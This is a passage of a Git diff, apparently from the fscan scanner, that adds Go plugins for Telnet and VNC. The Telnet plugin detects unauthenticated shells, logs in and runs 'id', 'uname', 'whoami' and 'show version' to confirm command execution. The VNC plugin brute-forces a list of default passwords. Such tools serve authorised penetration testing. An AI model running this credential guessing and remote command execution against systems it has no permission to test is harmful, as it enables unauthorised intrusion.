"permission denied",
|
||||
"bad password",
|
||||
"wrong password",
|
||||
"incorrect login",
|
||||
"login failure",
|
||||
"invalid login",
|
||||
"authentication error",
|
||||
"unauthorized",
|
||||
"credentials rejected",
|
||||
}
|
||||
|
||||
return ClassifyError(err, telnetAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthAccess 测试Telnet未授权访问
|
||||
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
attempts := 0
|
||||
maxAttempts := telnetMaxAttempts
|
||||
|
||||
for attempts < maxAttempts {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetBannerTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetRetryDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "telnet",
|
||||
Banner: "Telnet远程终端服务 (未授权访问)",
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetRetryDelay)
|
||||
}
|
||||
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// performTelnetAuth 执行Telnet认证
|
||||
func (p *TelnetPlugin) performTelnetAuth(conn net.Conn, username, password string) bool {
|
||||
buffer := make([]byte, 1024)
|
||||
|
||||
loginPromptReceived := false
|
||||
attempts := 0
|
||||
maxAttempts := telnetMaxAttempts
|
||||
|
||||
for attempts < maxAttempts && !loginPromptReceived {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
return true
|
||||
}
|
||||
|
||||
if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
loginPromptReceived = true
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
if !loginPromptReceived {
|
||||
return false
|
||||
}
|
||||
|
||||
_, err := conn.Write([]byte(username + "\r\n"))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetRetryDelay)
|
||||
passwordPromptReceived := false
|
||||
attempts = 0
|
||||
maxPasswordAttempts := 5
|
||||
|
||||
for attempts < maxPasswordAttempts && !passwordPromptReceived {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, readErr := conn.Read(buffer)
|
||||
if readErr != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
|
||||
if strings.Contains(strings.ToLower(cleaned), "password") ||
|
||||
strings.Contains(cleaned, ":") {
|
||||
passwordPromptReceived = true
|
||||
break
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
if !passwordPromptReceived {
|
||||
return false
|
||||
}
|
||||
|
||||
_, err = conn.Write([]byte(password + "\r\n"))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetAuthDelay)
|
||||
attempts = 0
|
||||
maxResultAttempts := 5
|
||||
|
||||
for attempts < maxResultAttempts {
|
||||
attempts++
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
time.Sleep(telnetReadDelay)
|
||||
continue
|
||||
}
|
||||
|
||||
response := string(buffer[:n])
|
||||
cleaned := p.cleanResponse(response)
|
||||
|
||||
if p.isLoginSuccess(cleaned) {
|
||||
return true
|
||||
}
|
||||
|
||||
if p.isLoginFailed(cleaned) {
|
||||
return false
|
||||
}
|
||||
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// handleIACNegotiation 处理IAC协商
|
||||
func (p *TelnetPlugin) handleIACNegotiation(conn net.Conn, data []byte) {
|
||||
for i := 0; i < len(data); i++ {
|
||||
if data[i] == 255 && i+2 < len(data) {
|
||||
cmd := data[i+1]
|
||||
opt := data[i+2]
|
||||
|
||||
switch cmd {
|
||||
case 251: // WILL
|
||||
_, _ = conn.Write([]byte{255, 254, opt})
|
||||
case 253: // DO
|
||||
_, _ = conn.Write([]byte{255, 252, opt})
|
||||
}
|
||||
i += 2
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// cleanResponse 清理telnet响应中的IAC命令
|
||||
func (p *TelnetPlugin) cleanResponse(data string) string {
|
||||
var result strings.Builder
|
||||
|
||||
for i := 0; i < len(data); i++ {
|
||||
b := data[i]
|
||||
if b == 255 && i+2 < len(data) {
|
||||
i += 2
|
||||
continue
|
||||
}
|
||||
if (b >= 32 && b <= 126) || b == '\r' || b == '\n' || b == '\t' {
|
||||
result.WriteByte(b)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.TrimSpace(result.String())
|
||||
}
|
||||
|
||||
// isShellPrompt 检查是否为shell提示符
|
||||
func (p *TelnetPlugin) isShellPrompt(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
shellPrompts := []string{"$", "#", ">", "~$", "]$", ")#", "bash", "shell", "cmd"}
|
||||
|
||||
for _, prompt := range shellPrompts {
|
||||
if strings.Contains(data, prompt) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginSuccess 检查登录是否成功
|
||||
func (p *TelnetPlugin) isLoginSuccess(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
if p.isShellPrompt(data) {
|
||||
return true
|
||||
}
|
||||
|
||||
successIndicators := []string{
|
||||
"welcome", "last login", "successful", "logged in",
|
||||
"login successful", "authentication successful",
|
||||
"welcome to", "successfully logged", "login ok",
|
||||
"connected to", "logged on",
|
||||
}
|
||||
|
||||
for _, indicator := range successIndicators {
|
||||
if strings.Contains(data, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginFailed 检查登录是否失败
|
||||
func (p *TelnetPlugin) isLoginFailed(data string) bool {
|
||||
if data == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
data = strings.ToLower(strings.TrimSpace(data))
|
||||
|
||||
failureIndicators := []string{
|
||||
"incorrect", "failed", "denied", "invalid", "wrong", "bad", "error",
|
||||
"authentication failed", "login failed", "access denied",
|
||||
"permission denied", "authentication error", "login incorrect",
|
||||
"invalid password", "invalid username", "unauthorized",
|
||||
"login failure", "connection refused",
|
||||
}
|
||||
|
||||
for _, indicator := range failureIndicators {
|
||||
if strings.Contains(data, indicator) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
repeatPrompts := []string{"login:", "username:", "user:", "name:"}
|
||||
|
||||
for _, prompt := range repeatPrompts {
|
||||
if strings.Contains(data, prompt) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// identifyService Telnet服务识别
|
||||
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
buffer := make([]byte, 2048)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
cleaned := p.cleanResponse(string(buffer[:n]))
|
||||
cleanedLower := strings.ToLower(cleaned)
|
||||
|
||||
var banner string
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
banner = "Telnet远程终端服务 (未授权访问)"
|
||||
} else if strings.Contains(cleanedLower, "login") ||
|
||||
strings.Contains(cleanedLower, "username") ||
|
||||
strings.Contains(cleanedLower, "user") {
|
||||
banner = "Telnet远程终端服务 (需要认证)"
|
||||
} else if strings.Contains(cleanedLower, "password") {
|
||||
banner = "Telnet远程终端服务 (只需密码)"
|
||||
} else if cleaned != "" {
|
||||
displayCleaned := cleaned
|
||||
if len(displayCleaned) > 50 {
|
||||
displayCleaned = displayCleaned[:50] + "..."
|
||||
}
|
||||
banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned)
|
||||
} else {
|
||||
banner = "Telnet远程终端服务"
|
||||
}
|
||||
|
||||
if p.isShellPrompt(cleaned) {
|
||||
common.LogVuln(i18n.Tr("telnet_service", target, banner))
|
||||
} else {
|
||||
common.LogSuccess(i18n.Tr("telnet_service", target, banner))
|
||||
}
|
||||
|
||||
resultChan <- &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "telnet",
|
||||
Banner: banner,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "telnet",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// verifyCommandExecution 验证Telnet命令执行能力(RCE检测)
|
||||
func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, config *common.Config, state *common.State) (bool, string, string) {
|
||||
target := info.Target()
|
||||
|
||||
type rceResult struct {
|
||||
ok bool
|
||||
osType string
|
||||
evidence string
|
||||
}
|
||||
|
||||
resultChan := make(chan rceResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
resultChan <- rceResult{}
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout + telnetRCEExtraTimeout))
|
||||
|
||||
// 需要认证时先登录
|
||||
if username != "" || password != "" {
|
||||
if !p.performTelnetAuth(conn, username, password) {
|
||||
resultChan <- rceResult{}
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// 未授权访问:等待并消费初始 banner/prompt
|
||||
p.drainBuffer(conn)
|
||||
}
|
||||
|
||||
// 等待 shell 稳定后清空缓冲区
|
||||
time.Sleep(telnetRetryDelay)
|
||||
p.drainBuffer(conn)
|
||||
|
||||
// 尝试 Linux/Unix 命令
|
||||
output, err := p.sendCommand(conn, "echo CMD_START && id && uname -a && echo CMD_END\r\n", telnetRCECmdTimeout)
|
||||
if err == nil && strings.Contains(output, "CMD_START") {
|
||||
if osType := p.detectOSType(output); osType != "" {
|
||||
resultChan <- rceResult{true, osType, p.extractEvidence(output)}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试 Windows 命令
|
||||
output, err = p.sendCommand(conn, "echo CMD_START && whoami && ver && echo CMD_END\r\n", telnetRCECmdTimeout)
|
||||
if err == nil && strings.Contains(output, "CMD_START") {
|
||||
lower := strings.ToLower(output)
|
||||
if strings.Contains(lower, "windows") || strings.Contains(lower, "microsoft") {
|
||||
resultChan <- rceResult{true, "Windows", p.extractEvidence(output)}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试网络设备命令
|
||||
output, err = p.sendCommand(conn, "show version\r\n", telnetRCECmdTimeout)
|
||||
if err == nil {
|
||||
if strings.Contains(output, "Cisco IOS") {
|
||||
resultChan <- rceResult{true, "Cisco IOS", p.extractEvidence(output)}
|
||||
return
|
||||
}
|
||||
if strings.Contains(output, "Huawei") || strings.Contains(output, "VRP") {
|
||||
resultChan <- rceResult{true, "Huawei VRP", p.extractEvidence(output)}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
resultChan <- rceResult{}
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-resultChan:
|
||||
return r.ok, r.osType, r.evidence
|
||||
case <-ctx.Done():
|
||||
return false, "", ""
|
||||
}
|
||||
}
|
||||
|
||||
// sendCommand 发送命令并读取输出
|
||||
func (p *TelnetPlugin) sendCommand(conn net.Conn, cmd string, timeout time.Duration) (string, error) {
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte(cmd)); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
time.Sleep(telnetAuthDelay)
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
var result strings.Builder
|
||||
buffer := make([]byte, 4096)
|
||||
|
||||
// 多次读取以收集完整输出
|
||||
for i := 0; i < 3; i++ {
|
||||
n, err := conn.Read(buffer)
|
||||
if n > 0 {
|
||||
p.handleIACNegotiation(conn, buffer[:n])
|
||||
result.WriteString(p.cleanResponse(string(buffer[:n])))
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
time.Sleep(telnetReadDelay)
|
||||
}
|
||||
|
||||
return result.String(), nil
|
||||
}
|
||||
|
||||
// detectOSType 从命令输出推断系统类型
|
||||
func (p *TelnetPlugin) detectOSType(output string) string {
|
||||
lower := strings.ToLower(output)
|
||||
|
||||
if strings.Contains(output, "uid=") || strings.Contains(output, "gid=") {
|
||||
if strings.Contains(lower, "busybox") {
|
||||
return "Linux/BusyBox"
|
||||
}
|
||||
return "Linux"
|
||||
}
|
||||
|
||||
if strings.Contains(lower, "linux") || strings.Contains(lower, "gnu") {
|
||||
return "Linux"
|
||||
}
|
||||
|
||||
if strings.Contains(lower, "windows") || strings.Contains(lower, "microsoft") {
|
||||
return "Windows"
|
||||
}
|
||||
|
||||
if strings.Contains(output, "Cisco IOS") {
|
||||
return "Cisco IOS"
|
||||
}
|
||||
|
||||
if strings.Contains(output, "Huawei") || strings.Contains(output, "VRP") {
|
||||
return "Huawei VRP"
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractEvidence 从命令输出中提取关键证据信息
|
||||
func (p *TelnetPlugin) extractEvidence(output string) string {
|
||||
lines := strings.Split(strings.TrimSpace(output), "\n")
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || line == "CMD_START" || line == "CMD_END" {
|
||||
continue
|
||||
}
|
||||
// 跳过回显的命令本身
|
||||
if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") {
|
||||
continue
|
||||
}
|
||||
if len(line) > 100 {
|
||||
return line[:100] + "..."
|
||||
}
|
||||
return line
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// drainBuffer 消费连接中的待读数据
|
||||
func (p *TelnetPlugin) drainBuffer(conn net.Conn) {
|
||||
buf := make([]byte, 4096)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(telnetReadTimeout))
|
||||
for {
|
||||
n, err := conn.Read(buf)
|
||||
if n > 0 {
|
||||
p.handleIACNegotiation(conn, buf[:n])
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("telnet", func() Plugin {
|
||||
return NewTelnetPlugin()
|
||||
}, []int{23, 2323})
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// 插件接口定义 - 统一命名风格
|
||||
type Plugin interface {
|
||||
Name() string
|
||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult
|
||||
}
|
||||
|
||||
type ScanResult = plugins.Result
|
||||
type ExploitResult = plugins.ExploitResult
|
||||
type Exploiter = plugins.Exploiter
|
||||
type Credential = plugins.Credential
|
||||
|
||||
// RegisterPluginWithPorts 高效注册:直接传递端口信息,避免实例创建
|
||||
func RegisterPluginWithPorts(name string, factory func() Plugin, ports []int) {
|
||||
plugins.RegisterWithPorts(name, func() plugins.Plugin {
|
||||
return factory()
|
||||
}, ports)
|
||||
}
|
||||
|
||||
var GenerateCredentials = plugins.GenerateCredentials
|
||||
@@ -0,0 +1,199 @@
|
||||
//go:build plugin_vnc || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
vnc "github.com/mitchellh/go-vnc"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// VNCPlugin VNC扫描插件
|
||||
type VNCPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewVNCPlugin() *VNCPlugin {
|
||||
return &VNCPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("vnc"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("vnc_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码列表
|
||||
var credentials []Credential
|
||||
if config.Credentials.Passwords != nil {
|
||||
for _, pass := range config.Credentials.Passwords {
|
||||
credentials = append(credentials, Credential{Username: "", Password: pass})
|
||||
}
|
||||
} else {
|
||||
defaultPasswords := []string{"123456", "password", "admin", "root", "vnc"}
|
||||
for _, pass := range defaultPasswords {
|
||||
credentials = append(credentials, Credential{Username: "", Password: pass})
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("vnc_credential", target, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建VNC认证函数
|
||||
func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doVNCAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doVNCAuth 执行VNC认证
|
||||
func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyVNCErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
vncConfig := &vnc.ClientConfig{
|
||||
Auth: []vnc.ClientAuth{
|
||||
&vnc.PasswordAuth{Password: cred.Password},
|
||||
},
|
||||
}
|
||||
|
||||
client, err := vnc.Client(conn, vncConfig)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyVNCErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &vncClientWrapper{client, conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vncClientWrapper 包装VNC连接以实现io.Closer
|
||||
type vncClientWrapper struct {
|
||||
*vnc.ClientConn
|
||||
conn interface{ Close() error }
|
||||
}
|
||||
|
||||
func (w *vncClientWrapper) Close() error {
|
||||
_ = w.ClientConn.Close()
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyVNCErrorType VNC错误分类
|
||||
func classifyVNCErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
errStr := strings.ToLower(err.Error())
|
||||
|
||||
vncAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"auth failed",
|
||||
"password",
|
||||
"unauthorized",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
for _, keyword := range vncAuthErrors {
|
||||
if strings.Contains(errStr, keyword) {
|
||||
return ErrorTypeAuth
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(errStr, "too many authentication failures") {
|
||||
return ErrorTypeNetwork
|
||||
}
|
||||
|
||||
return ClassifyError(err, nil, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
cred := Credential{Username: "", Password: ""}
|
||||
result := p.doVNCAuth(ctx, info, cred, config, state)
|
||||
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "vnc",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("vnc", func() Plugin {
|
||||
return NewVNCPlugin()
|
||||
}, []int{5900, 5901, 5902, 5903, 5904, 5905})
|
||||
}
|
||||
Reference in New Issue
Block a user